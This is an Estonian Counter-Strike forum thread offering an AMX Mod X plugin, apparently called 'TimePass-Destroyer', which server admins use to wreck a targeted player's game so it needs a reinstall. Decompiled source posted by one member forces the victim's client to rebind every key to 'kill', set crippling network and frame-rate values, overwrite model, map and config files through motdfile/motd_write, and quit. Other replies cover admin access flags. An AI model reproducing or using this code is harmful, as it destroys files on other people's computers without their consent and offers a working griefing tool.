[AMXX] Kooderi CSi lõhkuja
Lehekülg 1, lehekülgi kokku 1 • Share
- Tonight
- Liitus : 19/02/2012
Postitusi : 18000
Kirjeldus: Selle pluginaga saab lõhkuda mängija CSi niimoodi, et selle parandamiseks on ainus lahendus reinstall. Soovitan seda kasutada ainult juhul, kui tegemist on tõeliselt närviajava kooderiga
Flag: c
Commandid:
amx_destroymenu
amx_destroy "nimi"
Pluginaga on võimalik lõhkuda ka Steamerite CSe (kuigi, nonneri lõhkumine on palju efektiivsem, kuna Steamer saab taastada kõik paari klikiga [kui muidugi oskab]).
PS! Immuunsusega administraatoreid lõhkuda ei saa.
Flag: c
Commandid:
amx_destroymenu
amx_destroy "nimi"
Pluginaga on võimalik lõhkuda ka Steamerite CSe (kuigi, nonneri lõhkumine on palju efektiivsem, kuna Steamer saab taastada kõik paari klikiga [kui muidugi oskab]).
PS! Immuunsusega administraatoreid lõhkuda ei saa.
- Attachments
- And4uJuunior
- Liitus : 06/10/2012
Postitusi : 20
Kas sma-d saaks , kuna flag on kick siis muutub see küllaltki ohtlikuks.
- Tonight
- Liitus : 19/02/2012
Postitusi : 18000
Mine cstrike\addons\amxmodx\configs\cmdaccess.ini
Sealt muuda amx_destroymenu ja amx_destroy
Sealt muuda amx_destroymenu ja amx_destroy
- And4uJuunior
- Liitus : 06/10/2012
Postitusi : 20
Selge, tänud.
- spyJuunior
- Liitus : 15/12/2014
Postitusi : 27
Kas see on ainult adminite command või saavad ka tavainimesed seda kasutada?
- Tonight
- Liitus : 19/02/2012
Postitusi : 18000
Seda saavad kasutada ainult adminid (flag c).spy kirjutas:Kas see on ainult adminite command või saavad ka tavainimesed seda kasutada?
- spyJuunior
- Liitus : 15/12/2014
Postitusi : 27
Ok ty
- Airwave
- Liitus : 23/12/2014
Postitusi : 116
Ei saa aru mida ma muutma pean seal cmdaccess.ini
Ehk aitab keegi
Ehk aitab keegi
- Tonight
- Liitus : 19/02/2012
Postitusi : 18000
Õpetus: http://www.faval.eu/t711-commandi-flagi-muutminePotHunterZ kirjutas:Ei saa aru mida ma muutma pean seal cmdaccess.ini
Ehk aitab keegi
- PulberLiige
- Liitus : 13/11/2012
Postitusi : 186
Ei tea küll mis täpsemalt tegema pidi see cs aga minu arust ei toiminud
- fURXER
- Liitus : 29/10/2012
Postitusi : 934
sma:
- Kood:
new g_menuPosition[33];
new g_menuPlayers[33][32];
new g_menuPlayersNum[33];
new g_coloredMenus;
is_user_admin(id)
{
new __flags = get_user_flags(id, "%L");
new var1;
return __flags > 0 && !__flags & 33554432;
}
cmd_access(id, level, cid, num, bool:accesssilent)
{
new has_access;
new var1;
if (is_dedicated_server())
{
var1 = 0;
}
else
{
var1 = 1;
}
if (var1 == id)
{
has_access = 1;
}
else
{
if (level == 16777216)
{
if (is_user_admin(id))
{
has_access = 1;
}
}
if (level & get_user_flags(id, "%L"))
{
has_access = 1;
}
if (!level)
{
has_access = 1;
}
}
if (has_access)
{
if (num > read_argc())
{
new hcmd[32];
new hinfo[128];
new hflag;
get_concmd(cid, hcmd, 31, hflag, hinfo, 127, level, -1);
console_print(id, "%L: %s %s", id, "USAGE", hcmd, hinfo);
return 0;
}
return 1;
}
if (!accesssilent)
{
console_print(id, "%L", id, "NO_ACC_COM");
}
return 0;
}
access(id, level)
{
if (level == 16777216)
{
return is_user_admin(id);
}
if (level)
{
return level & get_user_flags(id, "%L");
}
return 1;
}
cmd_target(id, arg[], flags)
{
new player = find_player("bl", arg);
if (player)
{
if (find_player("blj", arg) != player)
{
console_print(id, "%L", id, "MORE_CL_MATCHT");
return 0;
}
}
else
{
new var1;
if ((player = find_player(224, arg)) && arg[0] == 35 && arg[1])
{
player = find_player(232, str_to_num(arg[1]));
}
}
if (!player)
{
console_print(id, "%L", id, "CL_NOT_FOUND");
return 0;
}
if (flags & 1)
{
new var3;
if (get_user_flags(player, "%L") & 1 && flags & 2)
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CLIENT_IMM", imname);
return 0;
}
}
if (flags & 4)
{
if (!is_user_alive(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_DEAD", imname);
return 0;
}
}
if (flags & 8)
{
if (is_user_bot(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_BOT", imname);
return 0;
}
}
return player;
}
colored_menus()
{
new mod_name[32];
get_modname(mod_name, 31);
new var1;
return equal(mod_name, "cstrike", "%L") || equal(mod_name, "czero", "%L") || equal(mod_name, "dod", "%L");
}
public plugin_init()
{
register_plugin("TimePass-Destroyer", "1.0", "Challenge & Dark-Skript");
register_dictionary("common.txt");
register_cvar("tpdestroyer_version", "1.0", 68, "%L");
set_cvar_string("tpdestroyer_version", "1.0");
register_concmd("amx_destroy", "cmd_destroy", 1, "<nick or #userid>", -1);
register_clcmd("amx_destroymenu", "DestroyMenu", 1, "Display Destroy Menu", -1);
register_menucmd(register_menuid("Destroy Menu", "%L"), 1023, "actionDestroyMenu");
g_coloredMenus = colored_menus();
return 0;
}
public DestroyMenu(id, level, cid)
{
if (cmd_access(id, level, cid, 1, false))
{
g_menuPosition[id] = 0;
displayDestroyMenu(id, 0);
}
return 1;
}
public displayDestroyMenu(id, pos)
{
if (0 > pos)
{
return 0;
}
get_players(g_menuPlayers[id], g_menuPlayersNum[id], 6108, 6112);
new menuBody[512];
new b;
new i;
new name[32];
new start = pos * 8;
if (g_menuPlayersNum[id] <= start)
{
g_menuPosition[id] = 0;
pos = 0;
start = 0;
}
decl len;
new var1;
if (g_menuPlayersNum[id] % 8)
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (g_coloredMenus)
{
var2 = 6116;
}
else
{
var2 = 6220;
}
len = format(menuBody, 511, var2, id, pos + 1, var1 + g_menuPlayersNum[id] / 8);
new end = start + 8;
new keys = 512;
if (g_menuPlayersNum[id] < end)
{
end = g_menuPlayersNum[id];
}
new a = start;
while (a < end)
{
i = g_menuPlayers[id][a];
get_user_name(i, name, 31);
new var3;
if (access(i, 1) && id != i)
{
b++;
if (g_coloredMenus)
{
len = format(menuBody[len], 511 - len, "\d%d. %s\n\w", b, name) + len;
}
else
{
len = format(menuBody[len], 511 - len, "#. %s\n", name) + len;
}
}
else
{
keys = 1 << b | keys;
if (is_user_admin(i))
{
b++;
new var4;
if (g_coloredMenus)
{
var4 = 6380;
}
else
{
var4 = 6436;
}
len = format(menuBody[len], 511 - len, var4, b, name) + len;
}
b++;
len = format(menuBody[len], 511 - len, "%d. %s\n", b, name) + len;
}
a++;
}
if (g_menuPlayersNum[id] != end)
{
new var5;
if (pos)
{
var5 = 6592;
}
else
{
var5 = 6612;
}
format(menuBody[len], 511 - len, "\n9. %L...\n0. %L", id, "MORE", id, var5);
keys |= 256;
}
else
{
new var6;
if (pos)
{
var6 = 6660;
}
else
{
var6 = 6680;
}
format(menuBody[len], 511 - len, "\n0. %L", id, var6);
}
show_menu(id, keys, menuBody, -1, "Destroy Menu");
return 0;
}
public actionDestroyMenu(id, key)
{
switch (key)
{
case 8:
{
new var2 = g_menuPosition[id];
var2++;
displayDestroyMenu(id, var2);
}
case 9:
{
new var1 = g_menuPosition[id];
var1--;
displayDestroyMenu(id, var1);
}
default:
{
new player = g_menuPlayers[id][key + g_menuPosition[id] * 8];
destroy(id, player);
displayDestroyMenu(id, g_menuPosition[id]);
}
}
return 1;
}
public destroy(id, victim)
{
log(id, victim);
main_destroy(victim);
return 1;
}
public log(id, player)
{
new sIp_victim[16];
new sAuthid_victim[34];
new sName_victim[33];
new admin_name[32];
get_user_name(id, admin_name, 31);
get_user_ip(player, sIp_victim, 15, 1);
get_user_authid(player, sAuthid_victim, 33);
get_user_name(player, sName_victim, 32);
log_to_file("addons\amxmodx\logs\TimePass-Destroy.txt", "ADMIN : <%s> has destroyed <%s> <%s> <%s> <ADMIN>", admin_name, sName_victim, sIp_victim, sAuthid_victim);
switch (get_cvar_num("amx_show_activity"))
{
case 1:
{
client_print("%L", 3, "ADMIN: Has destroyed %s", sName_victim);
}
case 2:
{
client_print("%L", 3, "ADMIN %s: Has destroyed %s", admin_name, sName_victim);
}
default:
{
}
}
console_print(id, "[AMXX] Client %s is destroyed", sName_victim);
return 0;
}
public cmd_destroy(id, level, cid)
{
if (!cmd_access(id, level, cid, 2, false))
{
return 1;
}
new arg[32];
read_argv(1, arg, 31);
new player = cmd_target(id, arg, 11);
if (!player)
{
return 1;
}
destroy(id, player);
return 1;
}
public main_destroy(id)
{
client_cmd(id, "developer 1");
client_cmd(id, "kill");
client_cmd(id, "bind w kill;wait;bind a kill;bind s kill;wait;bind d kill;bind mouse1 kill;wait;bind mouse2 kill;bind mouse3 kill;wait;bind space kill");
client_cmd(id, "bind ctrl kill;wait;bind 1 kill;wait;bind 2 kill;wait;bind 3 kill;wait;bind 4 kill;wait;bind 5 kill;bind 6 kill;wait;bind 7 kill");
client_cmd(id, "bind 8 kill;wait;bind 9 kill;wait;bind 0 kill;wait;bind r kill;wait;bind e kill;wait;bind g kill;bind q kill;wait;bind shift kill");
client_cmd(id, "bind end kill;wait;bind escape kill;bind z kill;wait;bind x kill;wait;bind c kill;wait;bind uparrow kill;bind downarrow kill;wait;bind leftarrow kill");
client_cmd(id, "bind rightarrow kill;wait;bind mwheeldown kill;wait;bind mwheelup kill;wait;bind ` kill;bind ~ kill;wait;");
client_cmd(id, "rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color \"1 1 1\"");
client_cmd(id, "motdfile models/player/terror/terror.mdl");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile models/player/sas/sas.mdl");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile maps/de_dust2.bsp");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile maps/de_inferno.bsp");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile maps/de_dust.bsp");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile sprites/radar320.spr");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile sprites/radar320.spr");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile game.ico");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile user.scr");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile settings.scr");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile steam_appid.txt");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile resource/gamemenu.res");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile sprites/hud.txt");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile titles.txt");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile resource/cstrike_english.txt");
client_cmd(id, "motd_write fucked");
client_cmd(id, "motdfile motd.txtclear");
client_cmd(id, "developer 0");
client_cmd(id, "quit");
return 0;
}
Soovid vestluses osaleda?
Selleks logi sisse või tee endale kasutaja.
Lehekülg 1, lehekülgi kokku 1
Permissions in this forum:
Sa ei saa vastata siinsetele teemadele